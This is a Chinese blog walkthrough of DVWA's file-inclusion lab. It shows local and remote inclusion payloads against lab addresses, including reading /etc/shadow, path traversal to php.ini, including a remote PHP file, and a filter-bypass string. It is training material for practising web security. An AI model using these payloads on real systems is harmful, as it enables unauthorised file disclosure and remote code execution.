zoukankan      html  css  js  c++  java
  • dvwa-file inclusion

    0x00 产生的原因

    通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶意代码注入

    当包含文件在服务器本地上,就形成本地文件包含,当包含的文件在第三方服务器是,就形成可远程文件包含。

     0x01 关于文件上传资料查询

    1、php伪协议

    读取文件

    可将一些恶意代码写入某些文件,最后系统崩溃;

    2、%00截断

    php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断,也就是说文件名中%00后的内容不会被识别

     0x02 dvwa上实战

     1、low

     <?php
    
        $file = $_GET['page']; //The page we wish to display 
    
    ?> 
    View Code

    1)输入http://10.21.13.208/dvwa/vulnerabilities/fi/?page=/etc/shadow,判断服务器类型:windows or linux

      可以看到是pemission denied,即没有权限包含该文件,说明该文件存在,所以服务器为linux系统,同时还可看到该网页所在目录:/var/www/dvwa/vulnerabilities/fi/index.php

    2)查看php.ini文件

    php.ini在dvwa上是在dvwa目录下的,即/var/www/dvwa,所以输入http://10.21.13.208/dvwa/vulnerabilities/fi/?page=../../php.ini,可查看php.ini文件

     百度说这个是读取成功的状态,可以看到一些参数,当allow_url_fopen和allow_url_include为on时可进行远程文件包含,magic_quotes_gpc = Off,php版本小于5.3.4的服务器中,可采用%00截断

    3)尝试远程文件包含

    打开metosploit虚拟机,在/var/www目录下添加1.php文件,内容如下:

    <?php 
        phpinfo(); 
    ?>

    所以该文件的url为:http://192.168.146.131/dvwa/1.php

    输入http://10.21.13.208/dvwa/vulnerabilities/fi/?page=http://192.168.146.131/dvwa/1.php,得到:

    禁止url链接传入文件,百度错误知php服务器未启用allow_url_fopen和allow_url_include,之前读的只是dvwa下的php.ini,由于不是自己的服务器,没有进行修改(本来想用自己的试试,但是由于这个metosploit太简陋了,找个命令找半天,而且实际情况下,谁会给自己的服务器开这个啊)

    2、medium

     <?php
    
        $file = $_GET['page']; // The page we wish to display 
    
        // Bad input validation
        $file = str_replace("http://", "", $file);
        $file = str_replace("https://", "", $file);        
    
    
    ?> 
    View Code

    我有那么一点点的疑惑,明明low级别远程就不行了,为什么medium级别还要对http[s]://过滤......

    过滤的话其实还好,采用重写:htthttpp://,这样就可以了

    3、high

     <?php
            
        $file = $_GET['page']; //The page we wish to display 
    
        // Only allow include.php
        if ( $file != "include.php" ) {
            echo "ERROR: File not found!";
            exit;
        }
            
    ?> 
    View Code

    简单粗暴,不是include.php就是"File not found"

    0x03 总结

    继续练习,freebuf那篇入门篇,昨天看的时候看的挺久的感觉很长,今天试了一下,感觉也就几个尝试的事情,所以还是要多试

    参考文献

    https://segmentfault.com/a/1190000018991087?utm_source=tag-newest#item-6

    https://www.jianshu.com/p/110278faeddb

    https://www.freebuf.com/articles/web/119150.html

  • 相关阅读:
    微型三维图像传感器采用飞行时间技术
    利用反射计芯片进行非接触式液位测量
    嵌入式传感器是智能移动增长的关键
    传感器融合带来多重好处
    参与机器人技术开发
    管理多供应商物联网项目的10个关键步骤
    基于ARMv8的固件系统体系结构
    嵌入式Linux设备驱动程序:在运行时读取驱动程序状态
    Elasticsearch之配置详解
    Spring Data Elasticsearch 和 x-pack 用户名/密码验证连接
  • 原文地址:https://www.cnblogs.com/dx-yll/p/11964042.html
Copyright © 2011-2022 走看看